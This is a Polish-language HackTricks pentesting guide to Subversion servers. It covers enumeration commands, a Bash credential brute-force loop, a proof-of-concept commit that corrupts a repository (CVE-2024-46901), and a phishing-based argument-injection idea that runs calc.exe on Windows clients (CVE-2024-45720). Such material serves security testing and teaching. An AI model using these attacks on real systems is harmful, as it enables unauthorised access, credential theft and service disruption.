3690/tcp - Pentesting serwera Subversion (SVN)
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Subversion (SVN) to scentralizowany system kontroli wersji (licencja Apache) używany do wersjonowania oprogramowania i kontroli rewizji.
Domyślny port: 3690/tcp (svnserve). Może być też udostępniany przez HTTP/HTTPS za pomocą mod_dav_svn oraz przez svn+ssh.
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
Enumeracja
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
Auth & Misconfig Hunting
svnserve.confmoże pozwalać naanon-access = read(a nawet write). Jeśli możesz listować, spróbujcheckout, aby zrzucić sekrety, skrypty i tokeny CI.- Repozytoria często przechowują build pipelines, deployment keys i database credentials w wersjonowanych plikach konfiguracyjnych. Przeszukaj working copy po checkout:
grep -R "password\|secret\|token" -n .. - Jeśli svn+ssh jest włączony, powłoki użytkowników często pozwalają na ograniczone polecenia
svnserve; spróbujssh user@host svnserve -tz przygotowanymi podpoleceniami, by obejść wrappery.
Bruteforcing credentials (svnserve)
sasl authentication (if enabled) and simple password files are protected only by the transport; no lockout by default. Krótka pętla w Bashu może przetestować poświadczenia:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
Najnowsze podatności (praktyczny wpływ)
mod_dav_svn DoS przez znaki sterujące (CVE-2024-46901)
- Użytkownik z commit rights może zapisać ścieżkę zawierającą znaki sterujące (np.
\x01,\x7f), które uszkadzają repozytorium, powodując, że późniejsze checkouts/logs zawodzą i potencjalnie powodując crash workerówmod_dav_svn. - Dotyczy Subversion ≤ 1.14.4 gdy serwowane przez HTTP(S) (
mod_dav_svn). Naprawione w 1.14.5. - PoC commit z użyciem
svnmucc(wymaga ważnych commit creds):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- Po commicie normalni klienci mogą się zawiesić lub odmówić aktualizacji, dopóki administratorzy nie usuną ręcznie rewizji za pomocą
svnadmin dump/filter/load.
Windows argument injection w kliencie svn (CVE-2024-45720)
- W systemie Windows “best-fit” character encoding w
svn.exepozwala na command-line argument injection podczas przetwarzania specjalnie spreparowanych ścieżek/URL-i nie‑ASCII, co potencjalnie może prowadzić do wykonania dowolnego programu. - Dotyczy Subversion ≤ 1.14.3 tylko na Windows; naprawione w 1.14.4. Powierzchnia ataku: phishing dewelopera, aby uruchomił
svnna URL/ścieżce kontrolowanej przez atakującego. - Pentest angle: jeśli kontrolujesz udział sieciowy lub ZIP przekazany deweloperowi Windows, nazwij URL repo lub ścieżkę working-copy zawierającą best-fit bytes, które dekodują się do
" & calc.exe & "-stylu wstrzykniętych argumentów, a następnie nakłoń ofiarę do uruchomieniasvn statuslub podobnego polecenia na tej ścieżce.
Uwagi dotyczące Exploitation Workflow
- Sprawdź metodę dostępu:
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), lubsvn+ssh://. - Try anonymous read najpierw; następnie spray common creds. Jeśli używany jest HTTP Basic, reuse creds znalezione gdzie indziej.
- Enumerate hooks:
hooks/pre-commit,post-commit— skrypty czasami zawierają plaintext credentials lub hostnames. - Leverage
svn:externalsaby pobrać dodatkowe ścieżki z innych hostów; wypisz je za pomocąsvn propget svn:externals -R .po checkout. - Version leaks: nagłówki odpowiedzi HTTP z
mod_dav_svnzwykle pokazują wersję Subversion i Apache; porównaj z 1.14.5, aby zidentyfikować podatne cele. - Jeśli uzyskasz dostęp do systemu plików repo,
svnadmin dump/svnlook author/svnlook dirs-changedpozwalają na analizę offline bez poświadczeń.
References
- Apache Subversion security advisory CVE-2024-46901
- Apache Subversion security advisory CVE-2024-45720
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


